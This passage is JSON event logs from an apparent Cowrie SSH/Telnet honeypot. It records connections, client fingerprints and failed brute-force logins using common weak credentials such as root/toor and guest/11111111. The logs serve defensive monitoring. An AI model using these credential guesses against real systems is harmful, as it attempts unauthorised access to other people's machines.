cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:37.106250Z","src_ip":"27.74.248.52","session":"80d52b481b22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:38.960044Z","src_ip":"27.74.248.52","session":"80d52b481b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:40.427478Z","src_ip":"27.74.248.52","session":"80d52b481b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.491795778274536,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:39:42.828595Z","src_ip":"212.55.149.117","session":"c6f9c1b275f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34018,"dst_ip":"10.17.0.5","dst_port":22,"session":"9124e6d548d2","protocol":"ssh","message":"New connection: 103.15.226.202:34018 (10.17.0.5:22) [session: 9124e6d548d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:00.925035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:00.929979Z","src_ip":"103.15.226.202","session":"9124e6d548d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:01.171196Z","src_ip":"103.15.226.202","session":"9124e6d548d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:01.895826Z","src_ip":"103.15.226.202","session":"9124e6d548d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:03.141493Z","src_ip":"103.15.226.202","session":"9124e6d548d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":39140,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9334ce64bf9","protocol":"ssh","message":"New connection: 43.160.242.74:39140 (159.203.135.109:22) [session: e9334ce64bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:11.045761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:11.050662Z","src_ip":"43.160.242.74","session":"e9334ce64bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:11.298936Z","src_ip":"43.160.242.74","session":"e9334ce64bf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser1","password":"tempuser1","message":"login attempt [tempuser1/tempuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:12.310917Z","src_ip":"43.160.242.74","session":"e9334ce64bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:13.559287Z","src_ip":"43.160.242.74","session":"e9334ce64bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.880988359451294,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:15.842542Z","src_ip":"212.55.149.117","session":"2809ad498ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":56228,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f3014126fb2","protocol":"ssh","message":"New connection: 118.194.229.94:56228 (159.203.135.109:22) [session: 5f3014126fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:16.171923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:16.178943Z","src_ip":"118.194.229.94","session":"5f3014126fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:16.351865Z","src_ip":"118.194.229.94","session":"5f3014126fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Qwerty@123","message":"login attempt [dev/Qwerty@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:17.065722Z","src_ip":"118.194.229.94","session":"5f3014126fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:40:18.241750Z","src_ip":"118.194.229.94","session":"5f3014126fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":44064,"dst_ip":"159.203.135.109","dst_port":22,"session":"141487d51d17","protocol":"ssh","message":"New connection: 43.160.242.74:44064 (159.203.135.109:22) [session: 141487d51d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:41:11.295037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:41:11.300364Z","src_ip":"43.160.242.74","session":"141487d51d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:41:11.550583Z","src_ip":"43.160.242.74","session":"141487d51d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwert12345","message":"login attempt [test/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:41:12.565756Z","src_ip":"43.160.242.74","session":"141487d51d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:41:13.815065Z","src_ip":"43.160.242.74","session":"141487d51d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49780,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f2e70f6e9b8","protocol":"telnet","message":"New connection: 128.199.8.54:49780 (159.203.135.109:23) [session: 5f2e70f6e9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:41:18.207736Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17630,"dst_ip":"10.17.0.5","dst_port":23,"session":"41eff33d4fbe","protocol":"telnet","message":"New connection: 212.55.149.117:17630 (10.17.0.5:23) [session: 41eff33d4fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:41:35.385238Z"}
{"eventid":"cowrie.session.closed","duration":34.013033390045166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:41:52.220633Z","src_ip":"128.199.8.54","session":"5f2e70f6e9b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":38514,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d2c85db2f7f","protocol":"ssh","message":"New connection: 118.194.229.94:38514 (159.203.135.109:22) [session: 2d2c85db2f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:08.481271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:08.486244Z","src_ip":"118.194.229.94","session":"2d2c85db2f7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:08.644047Z","src_ip":"118.194.229.94","session":"2d2c85db2f7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"passw0rd","message":"login attempt [vpn/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:09.303947Z","src_ip":"118.194.229.94","session":"2d2c85db2f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:10.466463Z","src_ip":"118.194.229.94","session":"2d2c85db2f7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":59986,"dst_ip":"159.203.135.109","dst_port":22,"session":"af1c93603249","protocol":"ssh","message":"New connection: 43.160.242.74:59986 (159.203.135.109:22) [session: af1c93603249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:13.126731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:13.131606Z","src_ip":"43.160.242.74","session":"af1c93603249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:13.368675Z","src_ip":"43.160.242.74","session":"af1c93603249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"11111111","message":"login attempt [guest/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:14.346770Z","src_ip":"43.160.242.74","session":"af1c93603249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:15.587058Z","src_ip":"43.160.242.74","session":"af1c93603249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":2384,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a2b6436ec0c","protocol":"telnet","message":"New connection: 212.55.149.117:2384 (10.17.0.5:23) [session: 0a2b6436ec0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:36.939028Z"}
{"eventid":"cowrie.session.closed","duration":63.438761711120605,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:42:38.823891Z","src_ip":"212.55.149.117","session":"41eff33d4fbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":23922,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d27168cbd09","protocol":"ssh","message":"New connection: 176.65.132.190:23922 (10.17.0.5:22) [session: 5d27168cbd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:15.015188Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:15.026697Z","src_ip":"176.65.132.190","session":"5d27168cbd09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":44226,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f0b2b3feacd","protocol":"ssh","message":"New connection: 43.160.242.74:44226 (159.203.135.109:22) [session: 6f0b2b3feacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:15.751484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:15.756407Z","src_ip":"43.160.242.74","session":"6f0b2b3feacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:15.993814Z","src_ip":"43.160.242.74","session":"6f0b2b3feacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skyadmin","message":"login attempt [root/skyadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:16.978955Z","src_ip":"43.160.242.74","session":"6f0b2b3feacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:18.220301Z","src_ip":"43.160.242.74","session":"6f0b2b3feacd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":51712,"dst_ip":"10.17.0.5","dst_port":22,"session":"34f50b184397","protocol":"ssh","message":"New connection: 103.15.226.202:51712 (10.17.0.5:22) [session: 34f50b184397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:38.244394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:43:38.248925Z","src_ip":"103.15.226.202","session":"34f50b184397","protocol":"ssh"}
